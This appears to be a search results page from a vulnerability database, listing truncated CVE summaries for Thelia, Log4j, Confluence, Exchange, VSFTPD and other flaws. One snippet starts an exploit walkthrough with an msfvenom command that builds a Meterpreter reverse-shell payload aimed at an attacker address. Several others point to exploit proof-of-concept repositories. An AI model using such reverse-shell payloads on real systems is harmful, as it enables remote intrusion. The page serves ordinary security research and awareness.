325738 matches found
CVE-2026-103522 CVE-2026-103522
In Thelia v2.6.0, the store banner upload feature performs insufficient filetype validation that relies exclusively on client‑supplied MIME types. An attacker with administrative access can upload a PHP file disguised as an image to bypass validation and achieve remote code execution on the...
CVE-2026-103522
Thelia v2.6.0 is vulnerable to remote code execution due to insufficient filetype validation in the store banner upload feature. The system relies exclusively on client-supplied MIME types, allowing an attacker with administrative access to bypass validation by uploading a PHP file disguised as a...
CVE-2026-103522 CVE-2026-103522
In Thelia v2.6.0, the store banner upload feature performs insufficient filetype validation that relies exclusively on client‑supplied MIME types. An attacker with administrative access can upload a PHP file disguised as an image to bypass validation and achieve remote code execution on the...
CVE-2022-24500
CVE-2022-24500 RCE Exploit Windows SMB Remote Code Execution Vulnerability Vulnerability: Windows 7 - Windows 2022 https://msrc.microsoft.com/update-guide/vulnerability/CVE-2022-24500 step 1 msfvenom -p windows/meterpreter/reversetcp LHOST=192.10.22.105 LPORT=4444 -f raw shellcode.bin step 2 msf5...
CVE-2021-44228
CVE-2021-44228 Analysis How does it work? Below is a detailed process of a remote injection case by exploiting log4shell vulnerability. First, there are 3 part we need to know: 1. Log4j2 allows for the logging of data using a feature called message lookup substitution , where log messages can...
CVE-2026-103521
In Thelia v2.6.0 , a vulnerability exists in the document update endpoint because it fails to perform the same validation as the document upload endpoint. While the upload endpoint blocks executable file types, the update endpoint allows an attacker with administrative permissions to upload arbit...
CVE-2026-103521 CVE-2026-103521
In Thelia v2.6.0, the document upload endpoint properly blocks the upload of executable file types, but the document update endpoint does not perform the same validation. An attacker with administrative Thelia permissions can exploit this vulnerability to upload arbitrary executable files, such a...
EUVD-2026-97474
In Thelia v2.6.0, the document upload endpoint properly blocks the upload of executable file types, but the document update endpoint does not perform the same validation. An attacker with administrative Thelia permissions can exploit this vulnerability to upload arbitrary executable files, such a...
CVE-2026-103521 CVE-2026-103521
In Thelia v2.6.0, the document upload endpoint properly blocks the upload of executable file types, but the document update endpoint does not perform the same validation. An attacker with administrative Thelia permissions can exploit this vulnerability to upload arbitrary executable files, such a...
-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server
-CVE-2024-21683-RCE-in-Confluence-Data-Center-and-Server This vulnerability allows an unauthenticated attacker to remotely execute arbitrary code on a vulnerable Confluence server. The vulnerability exists due to an improper validation of user-supplied input in the Confluence REST API. This allow...
CVE-2021-33026
CVE-2021-33026 Pickle Serialization Remote Code Execution - Memcached Poisoning PoC Exploit What's CVE-2021-3306? "The Flask-Caching extension through 1.10.1 for Flask relies on Pickle for serialization, which may lead to remote code execution or local privilege escalation. If an attacker gains...
CVE-2025-3776
CVE-2025-3776 - Remote Code Execution in "Verification SMS with TargetSMS" Plugin = 1.5 Plugin Information Plugin Name: Verification SMS with TargetSMS Vulnerable Versions: = 1.5 CVE ID: CVE-2025-3776 Type: Remote Code Execution RCE OWASP Classification: A1: Injection CVSS Severity: 10.0 Critical...
CVE-2024-11393
CVE-2024-11393 Hugging Face Transformers MaskFormer Model Deserialization of Untrusted Data Remote Code Execution Vulnerability High-level overview and effects of the vulnerability: The vulnerability allows an attacker to execute arbitrary code on the host machine by supplying a malicious...
CVE-2021-41773_CVE-2021-42013_Exploits
Exploiting CVE-2021-41773 and CVE-2021-42013 Overview This repository focuses on exploiting two vulnerabilities in Apache HTTPD: CVE-2021-41773 and CVE-2021-42013. These CVEs represent path traversal vulnerabilities that can potentially lead to file mapping and remote code execution on Apache HTT...
CVE-2020-0688
CVE-2020-0688 Microsoft Exchange Server Fixed Cryptographic Key Remote Code Execution RCE Instead of having randomly-generated keys on a per-installation basis, all installations of Microsoft Exchange Server have the same validationKey and decryptionKey values in web.config. Thus, an authenticate...
ClearML-CVE-2024-24590-RCE
Clearml-CVE-2024-24590 CVE-2024-24590 is a vulnerability that can be exploited when there is improper deserialization on the server side, in this case, Clearml. When an attacker creates a malicious Pickle file, they can execute arbitrary code on the victim who deserializes the Pickle file, which...
CVE-2011-2523-poc
CVE-2011-2523-poc This is a python3 script to exploit the CVE-2011-2523, the VSFTPD 2.3.4 Backdoor Command Execution, using socket and telnetlib modules Requirements sudo python3 -m pip install pwntools Install git clone https://github.com/4m3rr0r/CVE-2011-2523-poc.git cd CVE-2011-2523-poc/ chmod...
CVE-2024-9441
CVE-2024-9441 Description of the Vulnerability: This code exploits a Remote Code Execution RCE vulnerability that occurs due to improper input sanitization in a PHP-based web application. The specific weakness is in the "forgot password" functionality index.php?c=user&m=forgotpassword, where user...
CVE-2020-10148
Usage & Disclaimer This script is a batch detection script for the SolarWinds Orion API remote code execution vulnerability CVE-2020-10148. Usage: Python CVE-2020-10148.py urls.txt Each URL in urls.txt is on a separate line, and the vulnerable addresses are output to vul.txt. Affected versions:...